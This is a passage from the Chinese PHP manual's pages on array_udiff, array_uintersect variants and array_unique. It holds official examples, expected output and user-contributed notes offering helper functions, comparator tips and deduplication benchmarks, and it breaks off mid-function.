在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

返回 array1 里没有出现在其他参数里的所有值。

范例

Example #1 array_udiff() 使用 stdClass 对象的例子

<?php
// Arrays to compare
$array1 = array(new stdclass, new stdclass,
                new stdclass, new stdclass,
               );

$array2 = array(
                new stdclass, new stdclass,
               );

// Set some properties for each object
$array1[0]->width = 11; $array1[0]->height = 3;
$array1[1]->width = 7;  $array1[1]->height = 1;
$array1[2]->width = 2;  $array1[2]->height = 9;
$array1[3]->width = 5;  $array1[3]->height = 7;

$array2[0]->width = 7;  $array2[0]->height = 5;
$array2[1]->width = 9;  $array2[1]->height = 2;

function compare_by_area($a, $b) {
    $areaA = $a->width * $a->height;
    $areaB = $b->width * $b->height;

    if ($areaA < $areaB) {
        return -1;
    } elseif ($areaA > $areaB) {
        return 1;
    } else {
        return 0;
    }
}

print_r(array_udiff($array1, $array2, 'compare_by_area'));
?>

以上例程会输出：

Array
(
    [0] => stdClass Object
        (
            [width] => 11
            [height] => 3
        )

    [1] => stdClass Object
        (
            [width] => 7
            [height] => 1
        )

)

Example #2 array_udiff() 使用 DateTime 对象的例子

<?php
class MyCalendar {
    public $free = array();
    public $booked = array();

    public function __construct($week = 'now') {
        $start = new DateTime($week);
        $start->modify('Monday this week midnight');
        $end = clone $start;
        $end->modify('Friday this week midnight');
        $interval = new DateInterval('P1D');
        foreach (new DatePeriod($start, $interval, $end) as $freeTime) {
            $this->free[] = $freeTime;
        }
    }

    public function bookAppointment(DateTime $date, $note) {
        $this->booked[] = array('date' => $date->modify('midnight'), 'note' => $note);
    }

    public function checkAvailability() {
        return array_udiff($this->free, $this->booked, array($this, 'customCompare'));
    }

    public function customCompare($free, $booked) {
        if (is_array($free)) $a = $free['date'];
        else $a = $free;
        if (is_array($booked)) $b = $booked['date'];
        else $b = $booked;
        if ($a == $b) {
            return 0;
        } elseif ($a > $b) {
            return 1;
        } else {
            return -1;
        }
    }
}

// Create a calendar for weekly appointments
$myCalendar = new MyCalendar;

// Book some appointments for this week
$myCalendar->bookAppointment(new DateTime('Monday this week'), "Cleaning GoogleGuy's apartment.");
$myCalendar->bookAppointment(new DateTime('Wednesday this week'), "Going on a snowboarding trip.");
$myCalendar->bookAppointment(new DateTime('Friday this week'), "Fixing buggy code.");

// Check availability of days by comparing $booked dates against $free dates
echo "I'm available on the following days this week...\n\n";
foreach ($myCalendar->checkAvailability() as $free) {
    echo $free->format('l'), "\n";
}
echo "\n\n";
echo "I'm busy on the following days this week...\n\n";
foreach ($myCalendar->booked as $booked) {
    echo $booked['date']->format('l'), ": ", $booked['note'], "\n";
}
?>

以上例程会输出：

I'm available on the following days this week...

Tuesday
Thursday

I'm busy on the following days this week...

Monday: Cleaning GoogleGuy's apartment.
Wednesday: Going on a snowboarding trip.
Friday: Fixing buggy code.

注释

Note: 注意本函数只检查了多维数组中的一维。当然，可以用 array_udiff($array1[0], $array2[0], "data_compare_func"); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

Jorge Morales (morales2k) 20-Dec-2018 02:17
I find it that this is an ideal place to apply the spaceship operator, but it was not used in the examples.

Here is Example#1 using the spaceship operator in the comparison function.

    <?php
    // Arrays to compare
    $array1 = array(new stdclass, new stdclass,
                    new stdclass, new stdclass,
                   );

    $array2 = array(
                    new stdclass, new stdclass,
                   );

    // Set some properties for each object
    $array1[0]->width = 11; $array1[0]->height = 3;
    $array1[1]->width = 7;  $array1[1]->height = 1;
    $array1[2]->width = 2;  $array1[2]->height = 9;
    $array1[3]->width = 5;  $array1[3]->height = 7;

    $array2[0]->width = 7;  $array2[0]->height = 5;
    $array2[1]->width = 9;  $array2[1]->height = 2;

    function compare_by_area($a, $b) {
        $areaA = $a->width * $a->height;
        $areaB = $b->width * $b->height;

        return $areaA <=> $areaB;
    }

    print_r(array_udiff($array1, $array2, 'compare_by_area'));
    ?>

The output is:
    Array
    (
        [0] => stdClass Object
            (
                [width] => 11
                [height] => 3
            )

        [1] => stdClass Object
            (
                [width] => 7
                [height] => 1
            )

    )

I find it is pretty awesome you can substitute all of these lines:
    if ($areaA < $areaB) {
        return -1;
    } elseif ($areaA > $areaB) {
        return 1;
    } else {
        return 0;
    }

with just:

    return $areaA <=> $areaB;

Neat!
napcoder 27-Jul-2016 08:38
Note that the compare function is used also internally, to order the arrays and choose which element compare against in the next round.

If your compare function is not really comparing (ie. returns 0 if elements are equals, 1 otherwise), you will receive an unexpected result.
b4301775 at klzlk dot com 15-Jun-2011 11:09
Quick example for using array_udiff to do a multi-dimensional diff

Returns values of $arr1 that are not in $arr2

<?php
$arr1 = array( array('Bob', 42), array('Phil', 37), array('Frank', 39) );

$arr2 = array( array('Phil', 37), array('Mark', 45) );

$arr3 = array_udiff($arr1, $arr2, create_function(
    '$a,$b',
    'return strcmp( implode("", $a), implode("", $b) ); ')
    );

print_r($arr3);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => Bob
            [1] => 42
        )

    [2] => Array
        (
            [0] => Frank
            [1] => 39
        )

)
1

Hope this helps someone
jared 07-Jul-2009 12:27
Note that php does the string conversion *before* sending the values to the callback function.
adam dot jorgensen dot za at gmail dot com 08-Oct-2008 06:51
It is not stated, by this function also diffs array1 to itself, removing any duplicate values...
grantwparks at gmail dot com 31-Dec-2007 07:15
Re: "convoluted"

I think the point being made is that array_udiff() can be used not only for comparisons between homogenous arrays, as in your example (and definitely the most common need), but it can be used to compare heterogeneous arrays, too.

Consider:

<?php
function compr_1($a, $b) {
    $aVal = is_array($a) ? $a['last_name'] : $a;
    $bVal = is_array($b) ? $b['last_name'] : $b;
    return strcasecmp($aVal, $bVal);
}

$aEmployees = array(
    array('last_name'  => 'Smith',
            'first_name' => 'Joe',
            'phone'      => '555-1000'),
    array('last_name'  => 'Doe',
            'first_name' => 'John',
            'phone'      => '555-2000'),
    array('last_name'  => 'Flagg',
            'first_name' => 'Randall',
            'phone'      => '666-1000')
    );

$aNames = array('Doe', 'Smith', 'Johnson');

$result = array_udiff($aEmployees, $aNames, "compr_1");

print_r($result);
?>

Allowing me to get the "employee" that's not in the name list:

Array ( [2] => Array ( [last_name] => Flagg [first_name] => Randall [phone] => 666-1000 ) )

Something interesting to note, is that the two arguments to the compare function don't correspond to array1 and array2.  That's why there has to be logic in it to handle that either of the arguments might be pointing to the more complex employee array.  (Found this out the hard way.)
Colin 02-Aug-2006 01:15
I think the example given here using classes is convoluting things too much to demonstrate what this function does.

array_udiff() will walk through array_values($a) and array_values($b) and compare each value by using the passed in callback function.

To put it another way, array_udiff() compares $a[0] to $b[0], $b[1], $b[2], and $b[3] using the provided callback function.  If the callback returns zero for any of the comparisons then $a[0] will not be in the returned array from array_udiff().  It then compares $a[1] to $b[0], $b[1], $b[2], and $b[3].  Then, finally, $a[2] to $b[0], $b[1], $b[2], and $b[3].

For example, compare_ids($a[0], $b[0]) === -5 while compare_ids($a[1], $b[1]) === 0.  Therefore, $a[1] is not returned from array_udiff() since it is present in $b.

<?
$a = array(
        array(
                'id' => 10,
                'name' => 'John',
                'color' => 'red',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
);

$b = array(
        array(
                'id' => 15,
                'name' => 'Nancy',
                'color' => 'black',
        ),
        array(
                'id' => 20,
                'name' => 'Elise',
                'color' => 'blue',
        ),
        array(
                'id' => 30,
                'name' => 'Mark',
                'color' => 'red',
        ),
        array(
                'id' => 40,
                'name' => 'John',
                'color' => 'orange',
        ),
);

function compare_ids($a, $b)
{
    return ($a['id'] - $b['id']);
}
function compare_names($a, $b)
{
    return strcmp($a['name'], $b['name']);
}

$ret = array_udiff($a, $b, 'compare_ids');
var_dump($ret);

$ret = array_udiff($b, $a, 'compare_ids');
var_dump($ret);

$ret = array_udiff($a, $b, 'compare_names');
var_dump($ret);
?>

Which returns the following.

In the first return we see that $b has no entry in it with an id of 10.
<?
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    int(10)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(3) "red"
  }
}
?>

In the second return we see that $a has no entry in it with an id of 15 or 40.
<?
array(2) {
  [0]=>
  array(3) {
    ["id"]=>
    int(15)
    ["name"]=>
    string(5) "Nancy"
    ["color"]=>
    string(5) "black"
  }
  [3]=>
  array(3) {
    ["id"]=>
    int(40)
    ["name"]=>
    string(4) "John"
    ["color"]=>
    string(6) "orange"
  }
}
?>

In third return we see that all names in $a are in $b (even though the entry in $b whose name is 'John' is different, the anonymous function is only comparing names).
<?
array(0) {
}
?>
dmhouse at gmail dot com 20-Jan-2005 01:44
Very easy way of achieving a case-insensitive version of array_diff (or indeed array_diff_assoc, array_intersect or any of these types of functions which have a similar function that takes a callback function as one of their parameters):

array_udiff($array1, $array2, 'strcasecmp');

This works because strcasecmp() compares two strings case-insensitively, as compared to the array_diff() which compares two strings by using the == operator, which is case-sensitive.
aidan at php dot net 28-May-2004 07:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


带索引检查计算数组的交集，用回调函数比较数据

  • ? array_udiff
  • array_uintersect_uassoc ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集，用回调函数比较数据

array_uintersect_assoc

(PHP 5, PHP 7)

array_uintersect_assoc — 带索引检查计算数组的交集，用回调函数比较数据

说明

array_uintersect_assoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

注意和 array_uintersect() 不同的是键名也要比较。数据是用回调函数比较的。

参数

array1

第一个数组。

array2

第二个数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。

范例

Example #1 array_uintersect_assoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_assoc($array1, $array2, "strcasecmp"));
?>

以上例程会输出：

Array
(
    [a] => green
)

参见

  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

There are no user contributed notes for this page.


带索引检查计算数组的交集，用单独的回调函数比较数据和索引

  • ? array_uintersect_assoc
  • array_uintersect ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

array_uintersect_uassoc

(PHP 5, PHP 7)

array_uintersect_uassoc — 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

说明

array_uintersect_uassoc ( array $array1 , array $array2 [, array $... ], callable $value_compare_func , callable $key_compare_func ) : array

通过额外的索引检查、回调函数比较数据和索引来返回多个数组的交集。

参数

array1

第一个数组。

array2

第二个数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int
key_compare_func

键名比较的回调函数。

返回值

返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。

范例

Example #1 array_uintersect_uassoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_uassoc($array1, $array2, "strcasecmp", "strcasecmp"));
?>

以上例程会输出：

Array
(
    [a] => green
    [b] => brown
)

参见

  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据

User Contributed Notes

aidan at php dot net 31-Aug-2004 03:52
Please note, the correct function synopsis is:

array array_uintersect_uassoc ( array array1, array array2 [, array ...], callback data_compare_func, callback key_compare_func)

You may specifiy as many arrays as you like, but the last two parameters must be valid call back functions.


计算数组的交集，用回调函数比较数据

  • ? array_uintersect_uassoc
  • array_unique ?
  • PHP Manual
  • 数组 函数
  • 计算数组的交集，用回调函数比较数据

array_uintersect

(PHP 5, PHP 7)

array_uintersect — 计算数组的交集，用回调函数比较数据

说明

array_uintersect ( array $array1 , array $array2 [, array $... ], callable $value_compare_func ) : array

array_uintersect() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。数据比较是用回调函数进行的。 此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

参数

array1

第一个数组。

array2

第二个数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback ( mixed $a, mixed $b ) : int

返回值

Returns an array containing all the values of array1 that are present in all the arguments.

范例

Example #1 array_uintersect() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect($array1, $array2, "strcasecmp"));
?>

以上例程会输出：

Array
(
    [a] => green
    [b] => brown
    [0] => red
)

参见

  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

rob dot c dot ruiz at gmail dot com 15-Nov-2018 11:21
When trying to do a case insensitive comparison between arrays of words, the strcasecmp function works very nicely with this one like so:

$arr1 = array('blue', 'green', 'red');

$arr2 = array('BLUE', 'Purple', 'Red');

$loose_matches = array_uintersect($arr1, $arr2, 'strcasecmp');

print_r($loose_matches) // array('blue', 'red');
Hayley Watson 01-Jan-2018 10:25
As for the other "compare function" callbacks, the return value from the callback function doesn't need to be -1, 0, or 1.

cmp($a,$b) just needs to be <0, =0, or >0 depending on whether $a<$b, $a=$b, or $a>$b.
Nate at RuggFamily dot com 02-Feb-2007 12:03
I want to stress that in the user function, you do need to return either a 1 or a -1 properly; you cannot simply return 0 if the results are equal and 1 if they are not.

The following code is incorrect:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
return 1;
}

$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>

This code is correct:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
if ($v1 > $v2) return 1;
return -1;
}
$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>


移除数组中重复的值

  • ? array_uintersect
  • array_unshift ?
  • PHP Manual
  • 数组 函数
  • 移除数组中重复的值

array_unique

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

array_unique — 移除数组中重复的值

说明

array_unique ( array $array [, int $sort_flags = SORT_STRING ] ) : array

array_unique() 接受 array 作为输入并返回没有重复值的新数组。

注意键名保留不变。array_unique() 先将值作为字符串排序，然后对每个值只保留第一个遇到的键名，接着忽略所有后面的键名。这并不意味着在未排序的 array 中同一个值的第一个出现的键名会被保留。

Note: 当且仅当 (string) $elem1 === (string) $elem2 时两个单元被认为相同。 例如，字符串表达一样时，会使用首个元素。

参数

array

输入的数组。

sort_flags

第二个可选参数sort_flags 可用于修改排序行为：

排序类型标记：

  • SORT_REGULAR - 按照通常方法比较（不修改类型）
  • SORT_NUMERIC - 按照数字形式比较
  • SORT_STRING - 按照字符串形式比较
  • SORT_LOCALE_STRING - 根据当前的本地化设置，按照字符串比较。

返回值

返回过滤后的数组。

更新日志

版本 | 说明
5.2.10 | 修改回 sort_flags 的默认值为 SORT_STRING。
5.2.9 | 增加可选选项sort_flags，默认值 SORT_REGULAR。 5.2.9 之前，此函数内部使用 SORT_STRING 排序。

范例

Example #1 array_unique() 例子

<?php
$input = array("a" => "green", "red", "b" => "green", "blue", "red");
$result = array_unique($input);
print_r($result);
?>

以上例程会输出：

Array
(
    [a] => green
    [0] => red
    [1] => blue
)

Example #2 array_unique() 和类型

<?php
$input = array(4, "4", "3", 4, 3, "3");
$result = array_unique($input);
var_dump($result);
?>

以上例程会输出：

array(2) {
  [0] => int(4)
  [2] => string(1) "3"
}

参见

  • array_count_values() - 统计数组中所有的值

注释

Note: 注意， array_unique() 不能应用于多维数组。

User Contributed Notes

falundir at gmail dot com 19-Jun-2018 05:51
I find it odd that there is no version of this function which allows you to use a comparator callable in order to determine items equality (like array_udiff and array_uintersect). So, here's my version for you:

<?php
function array_uunique(array $array, callable $comparator): array {
    $unique_array = [];
    do {
        $element = array_shift($array);
        $unique_array[] = $element;

        $array = array_udiff(
            $array,
            [$element],
            $comparator
        );
    } while (count($array) > 0);

    return $unique_array;
}
?>

And here is a test code:

<?php
class Foo {

    public $a;

    public function __construct(int $a) {
        $this->a = $a;
    }
}

$array_of_objects = [new Foo(2), new Foo(1), new Foo(3), new Foo(2), new Foo(2), new Foo(1)];

$comparator = function (Foo $foo1, Foo $foo2): int {
    return $foo1->a <=> $foo2->a;
};

var_dump(array_uunique($array_of_objects, $comparator)); // should output [Foo(2), Foo(1), Foo(3)]
?>
subhrajyoti dot de007 at gmail dot com 01-Jun-2018 05:25
Simple and clean way to get duplicate entries removed from a multidimensional array.

<?php
          $multi_array = $multi_array [0];
          $multi_array = array_unique($multi_array);
          print_r($multi_array);
?>
Matt S 26-Apr-2018 02:45
In case you are looking for a function that works like array_unique but does not do the string conversion first.

<?php
function array_unique_full($arr, $strict = false) {
    return array_filter($arr, function($v, $k) use ($arr, $strict) {
        return array_search($v, $arr, $strict) === $k;
    }, ARRAY_FILTER_USE_BOTH);
}
?>
Fabiano 04-Jan-2018 10:22
As for PHP 7.1.12, this is the comparison between array_keys(array_flip()), array_flip(array_flip()), for each elimination and array_unique. The array_keys(array_flip()) is the fastest method to remove duplication values from a single dimension array:

<?php

$max = 1000000;
$arr = range(1,$max,3);
$arr2 = range(1,$max,2);
$arr = array_merge($arr,$arr2);

$time = -microtime(true);
$res1 = array_unique($arr);
$time += microtime(true);

echo "<br>deduped to ".count($res1)." in ".$time;
// deduped to 666667 in 0.78185796737671
// memory used: 33558528

$time = -microtime(true);
$res2 = array_flip(array_flip($arr));
$time += microtime(true);

echo "<br><br>deduped to ".count($res2)." in ".$time;
// deduped to 666667 in 0.072191953659058
// memory used: 3774873

$time = -microtime(true);
$res3 = array();
foreach($arr as $key=>$val) {
    $res3[$val] = true;
}
$res3 = array_keys($res3);
$time += microtime(true);

echo "<br /><br>deduped to ".count($res3)." in ".$time;
// deduped to 666667 in 0.095494985580444
// memory used: 33558528

$time = -microtime(true);
$res4 = array_keys(array_flip($arr));
$time += microtime(true);

echo "<br /><br>deduped to ".count($res4)." in ".$time;
// deduped to 666667 in 0.05807900428772
// memory used: 33558528
calexandrepcjr at gmail dot com 20-Jun-2017 03:19
Following the Ghanshyam Katriya idea, but with an array of objects, where the $key is related to object propriety that you want to filter the uniqueness of array:

<?php
function obj_multi_unique($obj, $key = false)
    {
        $totalObjs = count($obj);
        if (is_array($obj) && $totalObjs > 0 && is_object($obj[0]) && ($key && !is_numeric($key))) {
            for ($i = 0; $i < $totalObjs; $i++) {
                if (isset($obj[$i])) {
                    for ($j = $i + 1; $j < $totalObjs; $j++) {
                        if (isset($obj[$j]) && $obj[$i]->{$key} === $obj[$j]->{$key}) {
                            unset($obj[$j]);
                        }
                    }
                }
            }
            return array_values($obj);
        } else {
            throw new Exception('Invalid argument or your array of objects is empty');
        }
    }
?>
stoff@ 20-Jan-2017 03:23
In reply to performance tests array_unique vs foreach.

In PHP7 there were significant changes to Packed and Immutable arrays resulting in the performance difference to drop considerably. Here is the same test on php7.1 here;
http://sandbox.onlinephpfunctions.com/code/2a9e986690ef8505490489581c1c0e70f20d26d1

$max = 770000; //large enough number within memory allocation
$arr = range(1,$max,3);
$arr2 = range(1,$max,2);
$arr = array_merge($arr,$arr2);

$time = -microtime(true);
$res1 = array_unique($arr);
$time += microtime(true);
echo "deduped to ".count($res1)." in ".$time;
// deduped to 513333 in 1.0876770019531

$time = -microtime(true);
$res2 = array();
foreach($arr as $key=>$val) {
    $res2[$val] = true;
}
$res2 = array_keys($res2);
$time += microtime(true);
echo "<br />deduped to ".count($res2)." in ".$time;
// deduped to 513333 in 0.054931879043579
zoolyka at gmail dot com 18-Jan-2016 10:48
I found the simplest way to "unique" multidimensional arrays as follows:

<?php

$array = array(
    'a' => array(1, 2),
    'b' => array(1, 2),
    'c' => array(2, 2),
    'd' => array(2, 1),
    'e' => array(1, 1),
);

$array = array_map('json_encode', $array);
$array = array_unique($array);
$array = array_map('json_decode', $array);

print_r($array);

?>

As you can see "b" will be removed without any errors or notices.
tim at heuer dot nz 11-Oct-2015 10:57
I created a function for doing array_unique with a custom in_array function. So, if elements are considered in the array passed to this function, the array returned won't include elements that are considered equal and only return the values from the first array that are not considered in the array:

<?php

function uniqueBy(array $array, callable $in_array_func) {
    $result = array();
    foreach ($array as $key => $item) {
        if (!$in_array_func($item, $result)) {
            $result[$key] = $item;
        }
    }
    return $result;
}

?>

Example usage:

<?php

$in_array_func = function($item, $array) {
    $fromBower = function($item) {
        $result = substr($item, strpos($item, 'bower_components'));
        return $result;
    };
    foreach ($array as $myItem) {
        if ($fromBower($item) == $fromBower($myItem)) {
            return true;
        }
    }
    return false;
};

// ...
$jss = uniqueBy($jss, $in_array_func);
?>
Ludovico Grossi 19-Dec-2014 02:01
[Editor's note: please note that this will not work well with non-scalar values in the array. Array keys can not be arrays themselves, nor streams, resources, etc. Flipping the array causes a change in key-name]

You can do a super fast version of array_unique directly in PHP, even faster than the other solution posted in the comments!

Compared to the built in function it is 20x faster! (2x faster than the solution in the comments).

<?php
function superfast_array_unique($array) {
    return array_keys(array_flip($array));
}
?>

This works faster for small and big arrays.
Ghanshyam Katriya(anshkatriya at gmail) 09-Dec-2014 10:15
Create multidimensional array unique for any single key index.
e.g I want to create multi dimentional unique array for specific code

Code :
My array is like this,

<?php
$details = array(
    0 => array("id"=>"1", "name"=>"Mike",    "num"=>"9876543210"),
    1 => array("id"=>"2", "name"=>"Carissa", "num"=>"08548596258"),
    2 => array("id"=>"1", "name"=>"Mathew",  "num"=>"784581254"),
);
?>

You can make it unique for any field like id, name or num.

I have develop this function for same :
<?php
function unique_multidim_array($array, $key) {
    $temp_array = array();
    $i = 0;
    $key_array = array();

    foreach($array as $val) {
        if (!in_array($val[$key], $key_array)) {
            $key_array[$i] = $val[$key];
            $temp_array[$i] = $val;
        }
        $i++;
    }
    return $temp_array;
}
?>

Now, call this function anywhere from your code,

something like this,
<?php
$details = unique_multidim_array($details,'id');
?>

Output will be like this :
<?php
$details = array(
    0 => array("id"=>"1","name"=>"Mike","num"=>"9876543210"),
    1 => array("id"=>"2","name"=>"Carissa","num"=>"08548596258"),
);
?>
mostafatalebi at rocketmail dot com 13-Dec-2013 02:38
If you find the need to get a sorted array without it preserving the keys, use this code which has worked for me:

<?php

$array = array("hello", "fine", "good", "fine", "hello", "bye");

$get_sorted_unique_array = array_values(array_unique($array));

?>

The above code returns an array which is both unique and sorted from zero.
CertaiN 29-Nov-2013 02:58
Let's implement array_unique_callback() !

Function:
<?php

function array_unique_callback(array $arr, callable $callback, $strict = false) {
    return array_filter(
        $arr,
        function ($item) use ($strict, $callback) {
            static $haystack = array();
            $needle = $callback($item);
            if (in_array($needle, $haystack, $strict)) {
                return false;
            } else {
                $haystack[] = $needle;
                return true;
            }
        }
    );
}

?>

Usage:
<?php

$companies = array(
    0 => array(
        'name' => 'Foo - Ltd.',
        'phone' => 'XXX-YYY-ZZZ',
        'category' => 'supplyment',
    ),
    1 => array(
        'name' => 'Bar - Ltd.',
        'phone' => 'xxx-yyy-zzz',
        'category' => 'supplyment',
    ),
    2 => array(
        'name' => 'Baz - Ltd.',
        'phone' => 'AAA-BBB-CCC',
        'category' => 'alcohol',
    ),
);

$companies = array_unique_callback(
    $companies,
    function ($company) {
        return $company['category'];
    }
);

print_r($companies);

?>

Result:

Array
(
    [0] => Array
        (
            [name] => Foo - Ltd.
            [phone] => XXX-YYY-ZZZ
            [category] => supplyment
        )

    [2] => Array
        (
            [name] => Baz - Ltd.
            [phone] => AAA-BBB-CCC
            [category] => alcohol
        )

)
Tim S. 20-Jun-2013 07:14
I had to write a bunch of results to an array with a high probability of duplicates.
The array was written to the file in chunks, using a for loop. It occurred to me that I often had blank lines in my file.

Because this function preserve keys, I had gaps in my numeric keys. If you don't want to preserve keys, like me, you can use the following function.

<?php
function array_unique_ignore_keys(&$array, $sort_flags = SORT_STRING) {
    return array_values(array_unique($array, $sort_flags));
}
?>
bx16soupapes at gmail dot com 11-Jun-2013 07:55
Another form to make an array unique (manual):

This is my array

Array
(
    [0] => Array
        (
            [0] => 40665
            [1] => 40665
            [2] => 40665
            [3] => 40665
            [4] => 40666
            [5] => 40666
            [6] => 40666
            [7] => 40666
            [8] => 40667
            [9] => 40667
            [10] => 40667
            [11] => 40667
            [12] => 40667
            [13] => 40668
            [14] => 40668
            [15] => 40668
            [16] => 40668
            [17] => 40668
            [18] => 40669
            [19] => 40669
            [20] => 40670
            [21] => 40670
            [22] => 40670
            [23] => 40670
            [24] => 40671
            [25] => 40671
            [26] => 40671
            [27] => 40671
            [28] => 40671
        )

    [1] => Array
        (
            [0] => 40672
            [1] => 40672
            [2] => 40672
            [3] => 40672
        )

)

this is my script:

    $anterior = 0;
    foreach($item as $array_key => $array_value)
    {
            echo "<li>$array_key";
            echo "<ul>";
            foreach($array_value as $xarray_key => $xarray_value){
                if($xarray_value != $anterior) {
                    echo "<li>$xarray_key => $xarray_value";
                    $item_nuevo[$array_key][] = $xarray_value;    // or to use the same key number $item_nuevo[$array_key][$xarray_key] = $xarray_value;
                }
                $anterior = $xarray_value;
            }
            echo "</ul>";
    }

result:

0
    0 => 40665
    4 => 40666
    8 => 40667
    13 => 40668
    18 => 40669
    20 => 40670
    24 => 40671

1
    0 => 40672

saludos desde chile.
yosef_cool_ha at hotmail dot com 31-Mar-2013 09:45
if you wish to unique the arrays recusively(multi dimensional) no matter how deep hope this function can help you:

function array_unique_recusive($arr){
foreach($arr as $key=>$value)
if(gettype($value)=='array')
    $arr[$key]=array_unique_recusive($value);
return array_unique($arr,SORT_REGULAR);
}
sashasimkin at gmail dot com 25-Apr-2012 01:26
My object unique function:

<?php
function object_unique( $obj ){
    $objArray = (array) $obj;

    $objArray = array_intersect_assoc( array_unique( $objArray ), $objArray );

    foreach( $obj as $n => $f ) {
        if( !array_key_exists( $n, $objArray ) ) unset( $obj->$n );
    }

    return $obj;
}
?>

And these code:

<?php
class Test{
    public $pr0 = 'string';
    public $pr1 = 'string1';
    public $pr2 = 'string';
    public $pr3 = 'string2';
}

$obj = new Test;

var_dump( object_unique( $obj ) );
?>

returns:
object(Test)[1]
  public 'pr0' => string 'string' (length=6)
  public 'pr1' => string 'string1' (length=7)
  public 'pr3' => string 'string2' (length=7)
gma (at) qoob (dot) gr 12-Nov-2011 10:07
Lets say that you want to capture unique values from multidimensional arrays and flatten them in 0 depth.

i.e.
<?php
$tmp = array( 'a' => array( 1,2,3,4 ), 'b' => array( 'c' => array( 4,5,6,7 ) ) );
?>

will return with array_flat( $tmp ) --> array( 1,2,3,4,5,6,7 );

I hope that the function will help someone

<?php
/**
 * @params      : $a            array           the recursion array
 *              : $s            array           storage array
 *              : $l            integer         the depth level
 *
 */
if( !function_exists( 'array_flat' ) )
{
    function array_flat( $a, $s = array( ), $l = 0 )
    {
        # check if this is an array
        if( !is_array( $a ) )                           return $s;

        # go through the array values
        foreach( $a as $k => $v )
        {
            # check if the contained values are arrays
            if( !is_array( $v ) )
            {
                # store the value
                $s[ ]       = $v;

                # move to the next node
                continue;

            }

            # increment depth level
            $l++;

            # replace the content of stored values
            $s              = array_flat( $v, $s, $l );

            # decrement depth level
            $l--;

        }

        # get only unique values
        if( $l == 0 ) $s = array_values( array_unique( $s ) );

        # return stored values
        return $s;

    } # end of function array_flat( ...

}
?>
Friendly Code 01-Aug-2011 03:48
I required a function that removed a specific duplicate entry from an array and ignoring all others so came up with this:

<?php
function specified_array_unique($array, $value)
{
    $count = 0;

    foreach($array as $array_key => $array_value)
    {
        if ( ($count > 0) && ($array_value == $value) )
        {
            unset($array[$array_key]);
        }

        if ($array_value == $value) $count++;
    }

    return array_filter($array);
}
?>
0cool.f 23-May-2011 03:54
Hope this can help...

<?php
function array_unique_key_group($array) {
    if(!is_array($array))
        return false;

    $temp = array_unique($array);
    foreach($array as $key => $val) {
        $i = array_search($val,$temp);
        if(!empty($i) && $key != $i) {
